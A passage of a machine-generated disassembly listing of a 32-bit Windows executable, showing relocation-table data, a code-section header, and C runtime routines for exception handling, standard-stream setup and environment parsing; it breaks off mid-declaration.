		dd 8F347434h, 8349C34h,	3F350F35h, 52354C35h, 68356235h
		dd 5E357635h, 9A368636h, 0B436A036h, 8036C236h,	0B2378737h
		dd 0F137E737h, 4437F837h, 56384A38h, 76386738h,	8D387C38h
		dd 0A7389438h, 2038B638h, 8D394239h, 573A1239h,	833A7D3Ah
		dd 0F13AE43Ah, 243AF63Ah, 3A3B303Bh, 4C3B443Bh,	623B523Bh
		dd 9C3B913Bh, 0C03BBA3Bh, 0E13BC73Bh, 0A3BF83Bh, 3F3C393Ch
		dd 753C463Ch, 8C3C7E3Ch, 0DD3CD03Ch, 0D3CF83Ch,	523D133Dh
		dd 633D583Dh, 0D53DCF3Dh, 0EA3DE33Dh, 3DFA3Dh, 293E1E3Eh
		dd 3F3E373Eh, 693E633Eh, 7F3E793Eh, 0A23E8D3Eh,	0CC3EC53Eh
		dd 0E23ED23Eh, 3E3F383Eh, 773F6C3Fh, 0E93FB63Fh, 3FF03Fh
		dd 400000h, 18400h, 6B306500h, 0AB308630h, 0DC30C330h
		dd 0FD30E230h, 1C311630h, 30312A31h, 0A1319B31h, 0DE31D831h
		dd 6B326531h, 80327A32h, 0E6328E32h, 9032EC32h,	0B0339B33h
		dd 0CB33B633h, 0EE33D133h, 833F533h, 2B341F34h,	47343134h
		dd 8B344E34h, 0B234A134h, 0D934BB34h, 0F334E534h, 16350434h
		dd 37352835h, 5A354935h, 9D356435h, 0C435B335h,	0D935CB35h
		dd 22361235h, 47364136h, 67366036h, 96368236h, 0AC369D36h
		dd 0C836B236h, 0F536E936h, 1036FE36h, 30371D37h, 75373937h
		dd 8A377B37h, 9A379237h, 737A237h, 29382438h, 4B382F38h
		dd 68385738h, 80387A38h, 90388938h, 9B389638h, 0BC38B638h
		dd 0FB38EF38h, 1F391138h, 37393139h, 63394339h,	92398839h
		dd 0B539A839h, 0E839E239h, 193A0339h, 303A293Ah, 433A3E3Ah
		dd 643A523Ah, 953A893Ah, 0C43ABC3Ah, 0F13ADA3Ah, 43AFE3Ah
		dd 273B163Bh, 3C3B323Bh, 6D3B513Bh, 0B13B7A3Bh,	0BC3BB63Bh
		dd 0E73BD13Bh, 93BF43Bh, 1E3C153Ch, 3C3C273Ch, 543C4D3Ch
		dd 6A3C613Ch, 8D3C743Ch, 0A53C9C3Ch, 0FC3CB23Ch, 463D093Ch
		dd 713D643Dh, 0B33DAA3Dh, 0C03DBA3Dh, 0E13DC53Dh, 393E283Dh
		dd 603E4C3Eh, 783E653Eh, 883E823Eh, 0AB3EA43Eh,	0D33EC33Eh
		dd 0EA3EE33Eh, 293F233Eh, 473F363Fh, 5D3F4E3Fh,	7C3F643Fh
		dd 0B03FA33Fh, 0BE3FB73Fh, 50003Fh, 28400h, 10300600h
		dd 3C301B30h, 67305430h, 86308030h, 0A5309C30h,	1530FF30h
		dd 31311B31h, 55313F31h, 6A316431h, 8F318031h, 0A731A231h
		dd 0DB31AE31h, 631F331h, 32321E32h, 50323832h, 0B1327A32h
		dd 0E832BA32h, 3E331F32h, 7C336933h, 0C233B833h, 1C33FE33h
		dd 2C342334h, 3A343434h, 50344634h, 78346034h, 8C347F34h
		dd 0A3349434h, 0BA34B334h, 0D534C134h, 0FE34EF34h, 0A350534h
		dd 23351C35h, 33352C35h, 43353D35h, 5B354935h, 72356335h
		dd 8C357F35h, 0AC359735h, 0B935B335h, 0E335C835h, 0F635EC35h
		dd 7360035h, 18361236h,	33362C36h, 5F363E36h, 94368136h
		dd 0B0369B36h, 0C936BC36h, 0E136D236h, 0F836ED36h, 15370B36h
		dd 35372937h, 59374137h, 6A375F37h, 8B378537h, 0B837AD37h
		dd 0E237D837h, 0F237EC37h, 32380A37h, 4C384238h, 5C385238h
		dd 6D386238h, 85387E38h, 0CD38B538h, 0DD38D338h, 0F338E238h
		dd 538FD38h, 1C390B39h,	32392239h, 3F393839h, 63394A39h
		dd 78397139h, 91398439h, 0B139AB39h, 0C839BF39h, 0DB39D239h
		dd 0F039E539h, 0FE39F839h, 0A3A0439h, 1D3A163Ah, 383A2E3Ah
		dd 603A533Ah, 6E3A653Ah, 803A7B3Ah, 913A853Ah
		dd 9C3A973Ah, 0AD3AA13Ah, 0B83AB33Ah, 0C93ABD3Ah, 0D43ACF3Ah
		dd 0E53AD93Ah, 0F03AEB3Ah, 13AF53Ah, 0C3B073Bh,	1D3B113Bh
		dd 283B233Bh, 393B2D3Bh, 443B3F3Bh, 553B493Bh, 603B5B3Bh
		dd 713B653Bh, 7C3B773Bh, 8D3B813Bh, 983B933Bh, 0A93B9D3Bh
		dd 0B43BAF3Bh, 0C53BB93Bh, 0D03BCB3Bh, 0E13BD53Bh, 0EC3BE73Bh
		dd 0FD3BF13Bh, 83C033Bh, 193C0D3Ch, 243C1F3Ch, 353C293Ch
		dd 403C3B3Ch, 513C453Ch, 5C3C573Ch, 6D3C613Ch, 783C733Ch
		dd 893C7D3Ch, 943C8F3Ch, 0A53C993Ch, 0B03CAB3Ch, 0C13CB53Ch
		dd 0CC3CC73Ch, 0DD3CD13Ch, 0E83CE33Ch, 0F93CED3Ch, 43CFF3Ch
		dd 153D093Dh, 203D1B3Dh, 313D253Dh, 3C3D373Dh, 503D413Dh
		dd 5B3D563Dh, 7B3D753Dh, 953D8B3Dh, 0A83D9A3Dh,	0C33DBA3Dh
		dd 0DE3DCC3Dh, 0F33DEA3Dh, 43DFD3Dh, 243E183Eh,	373E2D3Eh
		dd 4D3E433Eh, 603E5B3Eh, 0C53EB13Eh, 0E53ED33Eh, 33EFC3Eh
		dd 193F123Fh, 3F3F2E3Fh, 693F453Fh, 7E3F733Fh, 0A53F8A3Fh
		dd 0C13FB43Fh, 0E33FCE3Fh, 0F13FEB3Fh, 3FF73Fh,	600000h
		dd 18400h, 0B300100h, 3B302530h, 51304B30h, 7C305830h
		dd 9E308230h, 0B130A530h, 0C430BE30h, 0D830CD30h, 330DE30h
		dd 1F311831h, 37312E31h, 77315E31h, 0CF319C31h,	3F321731h
		dd 5F324632h, 9B327632h, 0C632C032h, 0DC32D632h, 0F832EC32h
		dd 12330332h, 46334033h, 71336A33h, 96338333h, 0F733D933h
		dd 2833FE33h, 62342E34h, 94346934h, 0C134AD34h,	0E434DE34h
		dd 2034F634h, 6E352635h, 84357435h, 0B1359D35h,	0DE35C735h
		dd 0C360635h, 46364136h, 6E364D36h, 84367836h, 9E368D36h
		dd 0DA36D436h, 13370636h, 2D371F37h, 58373337h,	8D376137h
		dd 0C937B737h, 0F737DC37h, 2A380637h, 54383038h, 7C385A38h
		dd 0AE388F38h, 0D038B438h, 0F838D738h, 0E390238h, 28391739h
		dd 3F393239h, 5A394539h, 97396839h, 0C439B739h,	0E539D839h
		dd 239F939h, 5B3A0C3Ah,	0B93A903Ah, 0D63AD03Ah,	0A3AFD3Ah
		dd 243B1C3Bh, 813B7A3Bh, 0B83BA13Bh, 0D83BBF3Bh, 113BDF3Bh
		dd 1D3C173Ch, 583C513Ch, 6E3C673Ch, 0B93C9C3Ch,	0C53CBF3Ch
		dd 0C3D073Ch, 393D253Dh, 523D4D3Dh, 793D653Dh, 0D83DD13Dh
		dd 0F33DE63Dh, 0C3E073Dh, 5F3E1F3Eh, 783E6C3Eh,	0D73EBD3Eh
		dd 0F23EE23Eh, 0FC3EF73Eh, 0B3F053Eh, 1B3F143Fh, 403F313Fh
		dd 523F463Fh, 6D3F593Fh, 0A33F733Fh, 0C03FB13Fh, 0DB3FD43Fh
		dd 0FC3FEA3Fh, 70003Fh,	29C00h,	19301200h, 75302B30h, 0A6308730h
		dd 0C130AF30h, 0D630CA30h, 0F430ED30h, 14310D30h, 34312D31h
		dd 6A315D31h, 78316F31h, 8A318531h, 9B318F31h, 0A631A131h
		dd 0B731AB31h, 0C231BD31h, 0D631C731h, 0E131DC31h, 0E31EF31h
		dd 1C321532h, 27322232h, 5E325832h, 80327932h, 0B3329B32h
		dd 0D232B932h, 1B32EA32h, 52333533h, 68336233h,	9E339033h
		dd 0C833B333h, 0E833D633h, 0E33FD33h, 65345934h, 70346B34h
		dd 81347534h, 8C348734h, 9D349134h, 0A834A334h,	0B934AD34h
		dd 0C434BF34h, 0D534C934h, 0E034DB34h, 0F134E534h, 0FC34F734h
		dd 0D350134h, 18351335h, 29351D35h, 34352F35h, 45353935h
		dd 50354B35h, 61355535h, 6C356735h, 7D357135h, 88358335h
		dd 99358D35h, 0A4359F35h, 0B535A935h, 0C035BB35h, 0D135C535h
		dd 0DC35D735h, 0ED35E135h, 0F835F335h, 935FD35h, 14360F36h
		dd 25361936h, 30362B36h, 41363536h, 4C364736h, 5D365136h
		dd 68366336h, 79366D36h, 84367F36h, 95368936h, 0A0369B36h
		dd 0B136A536h, 0BC36B736h, 0CD36C136h, 0D836D336h, 0E936DD36h
		dd 0F436EF36h, 536F936h, 10370B37h, 21371537h, 2C372737h
		dd 3D373137h, 48374337h, 59374D37h, 64375F37h, 75376937h
		dd 80377B37h, 91378537h, 9C379737h, 0AD37A137h,	0B837B337h
		dd 0C937BD37h, 0D437CF37h, 0E537D937h, 0F037EB37h, 137F537h
		dd 0C380738h, 1D381138h, 28382338h, 39382D38h, 44383F38h
		dd 55384938h, 60385B38h, 71386538h, 7C387738h, 8D388138h
		dd 98389338h, 0A9389D38h, 0B438AF38h, 0C538B938h, 0D038CB38h
		dd 0E138D538h, 0EC38E738h, 338F138h, 0E390939h,	1F391939h
		dd 2B392539h, 3C393439h, 60395439h, 8A396E39h, 0A3399139h
		dd 0C939BE39h, 0FE39E439h, 463A1B39h, 873A4C3Ah, 993A8D3Ah
		dd 0B53AA13Ah, 0D23ABC3Ah, 0ED3AD83Ah, 83B023Ah, 3B3B343Bh
		dd 613B5B3Bh, 7F3B753Bh, 0C93BA83Bh, 0DF3BCF3Bh, 0F13BEC3Bh
		dd 173BFD3Bh, 423C233Ch, 593C493Ch, 863C623Ch, 0B23C8C3Ch
		dd 2D3CF23Ch, 7A3D333Dh, 9A3D803Dh, 0DC3DA03Dh,	0F73DE23Dh
		dd 103DFD3Dh, 293E233Eh, 423E3C3Eh, 5E3E553Eh, 803E793Eh
		dd 0B23EAC3Eh, 0E83EE23Eh, 73EF43Eh, 2E3F1A3Fh,	483F423Fh
		dd 5A3F4D3Fh, 653F603Fh, 783F723Fh, 8A3F7D3Fh, 953F903Fh
		dd 0DA3FCA3Fh, 3FFB3Fh,	800000h, 21C00h, 88300600h, 0D930CC30h
		dd 0F130E930h, 1F311330h, 35312E31h, 93318031h,	0AF31A931h
		dd 0D331C131h, 0EB31D931h, 0F31FD31h, 35322332h, 55323F32h
		dd 70325C32h, 96328232h, 0BA32A832h, 0D432CE32h, 0FC32DA32h
		dd 24331B32h, 33332D33h, 59334233h, 7A335F33h, 92338833h
		dd 0A6339B33h, 0CB33AE33h, 0F233D533h, 0D33F833h, 22341B34h
		dd 48342F34h, 5B345134h, 8E346634h, 0A7349334h,	0DB34BF34h
		dd 1C350634h, 35352235h, 6D353D35h, 7C357335h, 9A358F35h
		dd 0CE35BC35h, 0E535DC35h, 635FF35h, 34361836h,	54364436h
		dd 85367F36h, 0A4369B36h, 0C536BF36h, 0DA36CF36h, 1836EA36h
		dd 25371F37h, 49373F37h, 5E375337h, 81377B37h, 0A2378B37h
		dd 0AF37A937h, 0BF37B837h, 0D637CF37h, 0E737E137h, 0FB37F237h
		dd 0B380437h, 37382238h, 49384238h, 62385B38h, 77387138h
		dd 8E388038h, 98389338h, 0C438A238h, 0D038C938h, 0F438E138h
		dd 2D390C38h, 60393239h, 76396639h, 9D398039h, 0B039A439h
		dd 0D039C739h, 0DF39D639h, 0F639ED39h, 0A3A0139h, 1D3A143Ah
		dd 583A343Ah, 6A3A5E3Ah, 783A713Ah, 893A833Ah, 0A13A953Ah
		dd 0B23AA63Ah, 0E33ABF3Ah, 0F03AEA3Ah, 53AFF3Ah, 173B113Bh
		dd 333B233Bh, 3F3B383Bh, 563B493Bh, 613B5B3Bh, 903B753Bh
		dd 0A23B9C3Bh, 0C53BBF3Bh, 0DC3BCA3Bh, 0FE3BEE3Bh, 1D3C173Bh
		dd 603C313Ch, 713C673Ch, 853C7B3Ch, 9E3C903Ch, 0AE3CA33Ch
		dd 0C23CBB3Ch, 0E73CC83Ch, 0F23CED3Ch, 303D023Ch, 3F3D363Dh
		dd 583D4D3Dh, 803D5F3Dh, 933D873Dh, 0CE3DAA3Dh,	0DE3DD43Dh
		dd 0F13DEA3Dh, 33DFD3Dh, 1D3E0F3Eh, 283E223Eh, 383E2E3Eh
		dd 633E453Eh, 853E693Eh, 983E8B3Eh, 0B33E9D3Eh,	0D53EB93Eh
		dd 0E83EDB3Eh, 33EED3Eh, 253F093Fh, 383F2B3Fh, 533F3D3Fh
		dd 753F593Fh, 883F7B3Fh, 0A33F8D3Fh, 0BD3FA93Fh, 0DD3FC33Fh
		dd 0F83FF03Fh, 90003Fh,	25800h,	14300000h, 32301A30h, 46303830h
		dd 6F304E30h, 0B530A330h, 0C730C030h, 0E130D630h, 0F430E830h
		dd 2630FF30h, 42312F31h, 6A316431h, 93318631h, 0AE31A931h
		dd 0C531BD31h, 0ED31E131h, 531F631h, 1A321532h,	4A322932h
		dd 5D325632h, 87327B32h, 0A0329B32h, 0DC32AF32h, 0F232E232h
		dd 0F330132h, 3D333833h, 60334833h, 88336C33h, 9A339533h
		dd 0B033A333h, 0BA33B533h, 0CC33C633h, 0D633D133h, 0E833E233h
		dd 0F233ED33h, 433FE33h, 0E340934h, 20341A34h
		dd 2A342534h, 3F343934h, 54344434h, 6A345B34h, 7A347034h
		dd 0CD34A834h, 0DB34D534h, 0EB34E134h, 1434F134h, 26352035h
		dd 5C352D35h, 6C356235h, 7D357735h, 91358635h, 0B2359735h
		dd 0D335BD35h, 635F935h, 14360B36h, 26362136h, 34362C36h
		dd 47364136h, 55364C36h, 64365D36h, 76367136h, 8C367F36h
		dd 96369136h, 0A836A236h, 0B236AD36h, 0C436BE36h, 0CE36C936h
		dd 0E036DA36h, 0EA36E536h, 0FC36F636h, 6370136h, 18371237h
		dd 22371D37h, 34372E37h, 3E373937h, 50374A37h, 5A375537h
		dd 6C376637h, 76377137h, 88378237h, 92378D37h, 0A4379E37h
		dd 0AE37A937h, 0C037BA37h, 0CA37C537h, 0DC37D637h, 0E637E137h
		dd 0F837F237h, 237FD37h, 17381138h, 24381C38h, 36383138h
		dd 4C383F38h, 57385138h, 6B386138h, 76387138h, 0AE389038h
		dd 0F738B538h, 1C391438h, 0BB397D39h, 0E739DC39h, 0C39FB39h
		dd 3B3A123Ah, 7D3A573Ah, 913A8B3Ah, 0AA3AA13Ah,	0D83AB03Ah
		dd 0F63AE63Ah, 223B0E3Ah, 373B283Bh, 4D3B3D3Bh,	633B5D3Bh
		dd 873B753Bh, 0A53B8D3Bh, 0C33BB73Bh, 0E03BCB3Bh, 0EC3BE63Bh
		dd 5A3C4E3Bh, 6A3C603Ch, 7E3C743Ch, 8E3C873Ch, 0A63C963Ch
		dd 0B83CB13Ch, 0E43CD33Ch, 0F33CEC3Ch, 143D043Ch, 333D243Dh
		dd 483D423Dh, 603D533Dh, 753D653Dh, 913D873Dh, 0A33D983Dh
		dd 0B53DAE3Dh, 0D43DCE3Dh, 0E33DDE3Dh, 93DFE3Dh, 223E1C3Eh
		dd 323E2D3Eh, 453E3E3Eh, 653E5B3Eh, 773E6C3Eh, 0B33E873Eh
		dd 0C63EB93Eh, 0F53ED63Eh, 163EFB3Eh, 273F213Fh, 873F7E3Fh
		dd 0FF3FF23Fh, 0A0003Fh, 1C800h, 20300500h, 56302730h
		dd 0B130AB30h, 0C630BF30h, 0DF30D930h, 3030EA30h, 71315631h
		dd 97319031h, 0A631A131h, 0B731AD31h, 0C231BC31h, 0D031C931h
		dd 0E531DF31h, 331FD31h, 1D321632h, 40323432h, 52324A32h
		dd 5F325732h, 6C326632h, 92328932h, 0B732A432h,	0CF32C932h
		dd 832E532h, 23331433h,	51333F33h, 91336633h, 9C339633h
		dd 0D533C433h, 0F033DB33h, 1C33F633h, 5A343134h, 9E347534h
		dd 0BC34A434h, 0D934C534h, 334DF34h, 26352035h,	39353235h
		dd 76357035h, 0B1358335h, 0E635BE35h, 335ED35h,	1F361936h
		dd 6D363536h, 9A368536h, 0AB36A636h, 0BB36B436h, 0C936C436h
		dd 0EA36DC36h, 5236FC36h, 96375B37h, 0A1379B37h, 0C637BE37h
		dd 0E337D337h, 0F537EE37h, 27381037h, 3D383838h, 79385638h
		dd 99388038h, 0B938A038h, 0FF38C038h, 19390538h, 29392039h
		dd 38392E39h, 4B393D39h, 71396139h, 90397D39h, 0BC39A439h
		dd 0E339C339h, 0F39F539h, 3B3A213Ah, 533A413Ah,	803A793Ah
		dd 0B53AA33Ah, 0DC3AD13Ah, 0FD3AF73Ah, 3A3B0F3Ah, 4A3B433Bh
		dd 803B733Bh, 0B73BA53Bh, 0D73BBF3Bh, 1F3BE43Bh, 433C303Ch
		dd 5C3C573Ch, 793C6F3Ch, 913C803Ch, 0CE3CA43Ch,	0E03CDB3Ch
		dd 63CE63Ch, 393D2D3Dh,	503D423Dh, 6B3D653Dh, 883D783Dh
		dd 0A83D9C3Dh, 0B93DAE3Dh, 0CF3DC23Dh, 0E63DDB3Dh, 3DF63Dh
		dd 143E0B3Eh, 2A3E1E3Eh, 3C3E333Eh, 4D3E423Eh, 693E5C3Eh
		dd 823E763Eh, 0A73E8B3Eh, 0B83EAF3Eh, 0E03ECB3Eh, 0F43EED3Eh
		dd 1E3EFA3Eh, 553F2F3Fh, 0C83F853Fh, 0E23FCE3Fh, 3FF93Fh
		dd 0B00000h, 4C00h, 24301E00h, 51304B30h, 1030AC30h, 56313C31h
		dd 70316531h, 94318A31h, 0D631B731h, 6A31F431h,	7A327232h
		dd 83328232h, 923A8A3Ah, 8E3A9A3Ah, 0A63B9A3Bh,	0BE3BB23Bh
		dd 0D63BCA3Bh, 0EE3BE23Bh, 63BFA3Bh, 120003Ch, 4400h, 0FC300000h
		dd 98329431h, 0A0329C32h, 0A832A432h, 0B432AC32h, 0BC32B832h
		dd 0C432C032h, 0CC32C832h, 0D832D032h, 0E032DC32h, 0E832E432h
		dd 0F032EC32h, 4C32F432h, 54375037h, 375837h, 1400000h
		dd 2000h, 98319400h, 0AC319C31h, 0B431B031h, 0BC31B831h
		dd 0C431C031h, 31C831h,	74h dup(0)
		dd 146A8000h, 46h, 1702800h, 3 dup(100h), 1703400h, 1703800h
		dd 1703C00h, 716B6B00h,	2E5F7876h, 6C6C64h, 794600h, 1704000h
		dd 0
		dd 694C5F00h, 69614D62h, 30406Eh, 45EAh	dup(0)
_data		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 0003A000)
; Virtual size			: 0000AC10 (  44048.)
; Section size in file		: 0000AC10 (  44048.)
; Offset to raw	data for section: 0003A000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 43A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43A006:				; DATA XREF: sub_43A026+Ao
		xor	eax, eax
		inc	eax
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		jz	short locret_43A025
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_43A025:				; CODE XREF: .text:0043A014j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43A026	proc near		; CODE XREF: .text:0043A14Ep
					; .text:0043A17Cp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_43A006
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43A043:				; CODE XREF: sub_43A026+44j
					; sub_43A026+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43A072
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43A072
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43A043
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43A043
; ---------------------------------------------------------------------------


loc_43A072:				; CODE XREF: sub_43A026+2Aj
					; sub_43A026+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43A026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A080	proc near		; CODE XREF: .text:0043A141p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_43A098
		push	[ebp+arg_0]
		call	sub_444BA4


loc_43A098:				; DATA XREF: sub_43A080+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A080	endp

; ---------------------------------------------------------------------------
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_43A175
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43A0D3:				; CODE XREF: .text:0043A16Cj
		cmp	esi, 0FFFFFFFFh
		jz	loc_43A184
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43A163
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_44B034, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword_44B038, eax
		mov	eax, [edx+4]
		mov	dword_44B03C, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_44B040
		mov	esi, dword_44B038
		rep movsd
		lea	edi, dword_44B040
		mov	dword_44B038, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43A163
		js	short loc_43A171
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43A080
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43A026
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43A163:				; CODE XREF: .text:0043A0E4j
					; .text:0043A139j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43A0D3
; ---------------------------------------------------------------------------


loc_43A171:				; CODE XREF: .text:0043A13Bj
		xor	eax, eax
		jmp	short loc_43A18E
; ---------------------------------------------------------------------------


loc_43A175:				; CODE XREF: .text:0043A0B8j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43A026
		add	esp, 0Ch


loc_43A184:				; CODE XREF: .text:0043A0D6j
		push	0Bh
		call	sub_444BEC
		add	esp, 4


loc_43A18E:				; CODE XREF: .text:0043A173j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_43A1A7
		call	sub_43A1C3


loc_43A1A7:				; CODE XREF: .text:0043A1A0j
		call	sub_444B2F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, off_44B000
		call	eax ; sub_444B04
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A1C3	proc near		; CODE XREF: .text:0043A1A2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_444BBC
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_444BBC
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_444BBC
		mov	[ebp+var_C], eax
		push	(offset	aWr+2)
		push	[ebp+var_8]
		call	sub_444BB0
		mov	dword_44B008, eax
		push	offset aWr	; "wr"
		push	[ebp+var_4]
		call	sub_444BB0
		mov	dword_44B004, eax
		push	offset aWr	; "wr"
		push	[ebp+var_C]
		call	sub_444BB0
		add	esp, 30h
		mov	dword_44B00C, eax
		mov	edi, dword_44B004
		or	edi, edi
		jz	short loc_43A23C
		push	0
		push	edi
		call	sub_444BF8
		add	esp, 8


loc_43A23C:				; CODE XREF: sub_43A1C3+6Cj
		mov	edi, dword_44B00C
		or	edi, edi
		jz	short loc_43A256
		push	0
		push	edi
		call	sub_444BF8
		add	esp, 8
		call	sub_43A25C


loc_43A256:				; CODE XREF: sub_43A1C3+81j
		pop	edi
		leave
		retn
sub_43A1C3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A25C	proc near		; CODE XREF: sub_43A1C3+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_444B98
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_43A294
; ---------------------------------------------------------------------------


loc_43A278:				; CODE XREF: sub_43A25C+3Bj
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_43A280
		inc	[ebp+var_C]


loc_43A280:				; CODE XREF: sub_43A25C+1Fj
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_43A294:				; CODE XREF: sub_43A25C+1Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_43A278
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_444BE0
		pop	ecx
		mov	[ebp+var_8], eax
		mov	dword_44B010, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43A2C2
		xor	eax, eax
		jmp	short loc_43A31F
; ---------------------------------------------------------------------------


loc_43A2C2:				; CODE XREF: sub_43A25C+60j
		mov	ebx, [ebp+var_10]
		jmp	short loc_43A30C
; ---------------------------------------------------------------------------


loc_43A2C7:				; CODE XREF: sub_43A25C+B3j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_43A306
		push	[ebp+var_4]
		call	sub_444BE0
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	[esi], eax
		or	eax, eax
		jnz	short loc_43A2F4
		jmp	short loc_43A31F
; ---------------------------------------------------------------------------


loc_43A2F4:				; CODE XREF: sub_43A25C+94j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr [edi]
		call	sub_444C04
		add	esp, 8
		add	[ebp+var_8], 4


loc_43A306:				; CODE XREF: sub_43A25C+82j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_43A30C:				; CODE XREF: sub_43A25C+69j
		cmp	byte ptr [ebx],	0
		jnz	short loc_43A2C7
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0
		mov	eax, 1


loc_43A31F:				; CODE XREF: sub_43A25C+64j
					; sub_43A25C+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A25C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A324	proc near		; DATA XREF: .data:0044B2B8o
		push	ebp
		mov	ebp, esp
		push	offset dword_44ABA8
		call	ds:dword_447A3C	; InterlockedIncrement
		mov	eax, ds:dword_44ABA8
		pop	ebp
		retn	4
sub_43A324	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A33B	proc near		; CODE XREF: sub_442C0A+203p
		push	2
		call	sub_43BE25
		push	0
		call	sub_43BE25
		add	esp, 8
		retn
sub_43A33B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A34D	proc near		; DATA XREF: sub_44108E+E0Eo
					; sub_44108E+E5Eo ...

var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_219		= byte ptr -219h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_105		= byte ptr -105h
